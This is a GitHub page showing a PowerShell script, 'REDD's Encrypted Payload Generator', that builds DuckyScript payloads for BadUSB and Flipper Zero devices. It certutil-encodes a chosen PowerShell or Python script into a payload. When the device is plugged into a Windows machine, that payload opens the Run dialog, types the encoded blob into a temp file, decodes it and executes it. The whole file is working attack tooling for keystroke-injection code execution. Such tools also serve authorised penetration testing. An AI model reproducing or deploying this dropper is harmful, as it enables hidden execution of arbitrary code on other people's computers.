-
Notifications
You must be signed in to change notification settings - Fork 11
/
encode.ps1
189 lines (188 loc) · 7.51 KB
/
encode.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
# Title: REDD's Encrypted Payload Generator
# Description: Creates a encrypted Payload for BadUSB/Duckyscript Devices.
# AUTHOR: InfoSecREDD & dag
# Version: 1.7
$path = split-path -parent $MyInvocation.MyCommand.Definition
$script = $MyInvocation.MyCommand.Name
$payload_filename = "gen_payload.tmp"
$payload_file = "$path\$payload_filename"
$temp_file = "$path\temp.txt"
$final_file = "$path\payload.txt"
$argcheck = $args.Count
$flipper = 0
$IsFullPath = 0
Write-Host "`n`n ::::::::: :::::::::: ::::::::: ::::::::: ::: :::::::: `n :+: :+: :+: :+: :+: :+: :+: :+ :+: :+: `n +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ `n +#++:++#: +#++:++# +#+ +:+ +#+ +:+ +#++:++#++ `n +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ `n #+# #+# #+# #+# #+# #+# #+# #+# #+# `n ### ### ########## ######### ######### ######## `n`n REDD's Encrypted Payload Generator`n"
if ( 0 -eq $argcheck )
{
Write-Host "`nERROR: No arguments supplied to encrypt.`n`nSyntax: $script `<File_to_Encrypt`>`n $script `<File_to_Encrypt`> -flipper`n`n"
exit
}
if (Test-Path "$temp_file") {
Remove-Item "$temp_file" >$null 2>&1
}
if ( 1 -eq $argcheck )
{
$argpath = Get-ChildItem "$args" | Select-Object -ExpandProperty FullName
if ("$args" -eq "$argpath") {
if (Test-Path "$args") {
certutil -encodehex -f "$argpath" "$temp_file" 0x40000001 >$null 2>&1
}
}
elseif (Test-Path "$path\$args") {
certutil -encodehex -f "$path\$args" "$temp_file" 0x40000001 >$null 2>&1
}
else {
Write-Host "`nERROR: No file named $args in $path.`n`n"
exit
}
}
elseif ( 2 -ge $argcheck )
{
$showfile = $args[0]
if (Test-Path "$showfile") {
$argpath = Get-ChildItem $showfile | Select-Object -ExpandProperty FullName
}
if ("$showfile" -eq "$argpath") {
$IsFullPath = 1
}
if ("$IsFullPath" -ne "1") {
if (!(Test-Path "$path\$showfile")) {
Write-Host "`nERROR: No file named $showfile in $path.`n`n"
exit
}
}
$showargs = $args[1]
if ( $showargs -eq "-adv" ) {
$AdvMode = 1
Do {
$flipperinput = Read-Host -Prompt 'Do you want Flipper Zero/BadUSB compatibility?(y/N): '
}
Until ( $flipperinput -eq 'y' -Or $flipperinput -eq 'n' -Or $flipperinput -eq 'Y' -Or $flipperinput -eq 'N' )
if ( $flipperinput -eq 'y' -Or $flipperinput -eq 'Y' ) {
$flipper = 1
}
Do {
$ptitleinput = Read-Host -Prompt 'Payload Title: '
}
Until ( $ptitleinput -ne "" )
Do {
$pdescinput = Read-Host -Prompt 'Payload Description: '
}
Until ( $pdescinput -ne "" )
Do {
$pauthorinput = Read-Host -Prompt 'Payload Author: '
}
Until ( $pauthorinput -ne "" )
Do {
$pversioninput = Read-Host -Prompt 'Payload Version: '
}
Until ( $pversioninput -ne "" )
$delayamount = 0
Do {
$delayinput = Read-Host -Prompt 'Do you want to add a Custom DELAY in your Payload after Opening PowerShell(y/N): '
}
Until ( $delayinput -eq 'y' -Or $delayinput -eq 'n' -Or $delayinput -eq 'Y' -Or $delayinput -eq 'N' )
if ( $delayinput -eq 'y' -Or $delayinput -eq 'Y' ) {
[regex] $match = '^([1-9][0-9]{2,4})$'
do {
$delayamount = Read-Host "Enter 3-5 digits for a Custom DELAY: "
}
until ($delayamount -match $match)
}
Write-Host " -- It is still recommended to edit the payload to set DELAY's correctly.`n`n"
}
if ( $args[1] -eq "-flipper" -Or $args[1] -eq "-badusb" -Or $args[1] -eq "-adv" )
{
Write-Host "Creating $final_file for Flipper Zero/BadUSB Compatiblity."
$flipper = 1
certutil -encodehex -f "$argpath" "$temp_file" 0x40000001 >$null 2>&1
}
else {
$showargs = $args[1]
Write-Host "ERROR: Arugment `'$showargs`' is not valid. Please try again.`n"
exit
}
}
else
{
Write-Host "Arguments are not valid. Please Try again.`n"
}
$output = Get-Content "$temp_file" | Out-String
$output = $output.replace("`r`n", "")
Remove-Item "$temp_file" >$null 2>&1
if (Test-Path "$payload_file") {
Remove-Item "$payload_file" >$null 2>&1
New-Item -Name "$payload_filename" -ItemType File >$null 2>&1
}
else {
New-Item -Name "$payload_filename" -ItemType File >$null 2>&1
}
if ( $AdvMode -eq "1" ) {
"REM Title : $ptitleinput" | Out-File -FilePath "$payload_file" -Append
}
else {
"REM Title :" | Out-File -FilePath "$payload_file" -Append
}
if ( $AdvMode -eq "1" ) {
"REM Description: $pdescinput" | Out-File -FilePath "$payload_file" -Append
}
else {
"REM Description:" | Out-File -FilePath "$payload_file" -Append
}
if ( $AdvMode -eq "1" ) {
"REM Author : $pauthorinput" | Out-File -FilePath "$payload_file" -Append
}
else {
"REM Author :" | Out-File -FilePath "$payload_file" -Append
}
if ( $AdvMode -eq "1" ) {
"REM Version : $pversioninput" | Out-File -FilePath "$payload_file" -Append
}
else {
"REM Version :" | Out-File -FilePath "$payload_file" -Append
}
"REM Generated by REDD's Encrypted Payload Generator" | Out-File -FilePath "$payload_file" -Append
"REM - It is highly suggested you adjust the DELAYS for your use." | Out-File -FilePath "$payload_file" -Append
if ( 1 -ne $flipper )
{
"DUCKY_LANG US" | Out-File -FilePath "$payload_file" -Append
}
else
{
Write-Host "--> Skipping DUCKY_LANG String for Flipper Zero/BadUSB Compatibility."
}
"DELAY 2000" | Out-File -FilePath "$payload_file" -Append
"GUI r" | Out-File -FilePath "$payload_file" -Append
"DELAY 200" | Out-File -FilePath "$payload_file" -Append
"STRING powershell" | Out-File -FilePath "$payload_file" -Append
"DELAY 500" | Out-File -FilePath "$payload_file" -Append
"ENTER" | Out-File -FilePath "$payload_file" -Append
if ( 1 -ne $flipper ) {
"DELAY 500" | Out-File -FilePath "$payload_file" -Append
}
elseif ( 1 -eq $flipper -And 0 -eq $AdvMode ) {
Write-Host "--> Adding extra DELAY for Flipper Compatibility."
"DELAY 2000" | Out-File -FilePath "$payload_file" -Append
}
elseif ( $AdvMode -eq 1 -And 0 -ne $delayamount) {
"REM Custom DELAY added." | Out-File -FilePath "$payload_file" -Append
"DELAY $delayamount" | Out-File -FilePath "$payload_file" -Append
}
else {
"DELAY 500" | Out-File -FilePath "$payload_file" -Append
}
$scriptExtension = [System.IO.Path]::GetExtension($argpath).ToLower()
if ($scriptExtension -eq ".ps1") {
$PShell = "STRING `$TempFile = `"`$env:TEMP\temp.ps1`"; `$File = `"`$env:TEMP\l.ps1`"; echo $output `> `"`$TempFile`"; certutil -f -decode `"`$TempFile`" `"`$File`" `| out-null`; `& `"`$env:TEMP\l.ps1`"" | Out-File -FilePath "$payload_file" -Append
"DELAY 1000" | Out-File -FilePath "$payload_file" -Append
"ENTER" | Out-File -FilePath "$payload_file" -Append
} elseif ($scriptExtension -eq ".py") {
$Pthon = "STRING `$TempFile = `"`$env:TEMP\temp.py`"; `$File = `"`$env:TEMP\l.py`"; echo $output `> `"`$TempFile`"; certutil -f -decode `"`$TempFile`" `"`$File`" `| out-null`; python `"`$env:TEMP\l.py`"" | Out-File -FilePath "$payload_file" -Append
"DELAY 1000" | Out-File -FilePath "$payload_file" -Append
"ENTER" | Out-File -FilePath "$payload_file" -Append
} else {
Write-Host "The script is neither a PowerShell (.ps1) nor a Python (.py) file."
}
Get-Content "$payload_file" | out-file -encoding ASCII "$final_file"
Remove-Item "$payload_file" >$null 2>&1
Write-Host "`nPayload Generation Complete.`n`n Location: $final_file`n`n"